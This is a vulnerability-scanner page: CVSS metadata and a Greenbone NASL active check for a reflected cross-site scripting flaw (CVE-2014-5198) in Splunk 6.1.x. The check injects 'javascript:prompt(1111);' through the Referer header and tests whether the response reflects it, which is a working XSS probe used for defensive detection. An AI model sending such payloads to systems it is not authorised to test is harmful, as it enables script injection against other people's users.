4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
5.7 Medium
AI Score
Confidence
High
0.001 Low
EPSS
Percentile
50.7%
Splunk is prone to a cross-site scripting (XSS) vulnerability.
# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:splunk:splunk";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.804479");
script_version("2024-01-25T14:38:15+0000");
script_tag(name:"last_modification", value:"2024-01-25 14:38:15 +0000 (Thu, 25 Jan 2024)");
script_tag(name:"creation_date", value:"2014-09-08 13:34:59 +0530 (Mon, 08 Sep 2014)");
script_tag(name:"cvss_base", value:"4.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
script_cve_id("CVE-2014-5198");
script_tag(name:"qod_type", value:"remote_analysis");
script_tag(name:"solution_type", value:"VendorFix");
script_name("Splunk 6.1.x < 6.1.3 XSS Vulnerability - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2014 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_splunk_http_detect.nasl");
script_mandatory_keys("splunk/http/detected");
script_require_ports("Services/www", 8000);
script_tag(name:"summary", value:"Splunk is prone to a cross-site scripting (XSS) vulnerability.");
script_tag(name:"vuldetect", value:"Send a crafted HTTP GET request and checks the response.");
script_tag(name:"insight", value:"Input passed via the Referer header in HTTP GET is not properly
sanitized before being returned to the user.");
script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary
HTML and script code in a user's browser session in the context of an affected site.");
script_tag(name:"affected", value:"Splunk version 6.1.x prior to 6.1.3.");
script_tag(name:"solution", value:"Update to version 6.1.3 or later.");
script_xref(name:"URL", value:"http://secunia.com/advisories/59940");
script_xref(name:"URL", value:"http://www.splunk.com/view/SP-CAAAM9H");
script_xref(name:"URL", value:"http://www.securitytracker.com/id/1030690");
script_xref(name:"URL", value:"http://packetstormsecurity.com/files/126813");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
if (!port = get_app_port(cpe: CPE, service: "www"))
exit(0);
if (!dir = get_app_location(cpe: CPE, port: port))
exit(0);
if (dir == "/")
dir = "";
url = dir + "/app/";
host = http_host_name(port: port);
req = string("GET ", url, " HTTP/1.1\r\n",
"Host: ", host, "\r\n",
"Referer: javascript:prompt(1111);\r\n",
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.",
"\r\n\r\n");
res = http_keepalive_send_recv(port: port, data: req);
if (res =~ 'javascript:prompt\\(1111\\);">javascript:prompt\\(1111\\);<' &&
">Return to Splunk home page<" >< res) {
report = http_report_vuln_url(port: port, url: url);
security_message(port: port, data: report);
exit(0);
}
exit(99);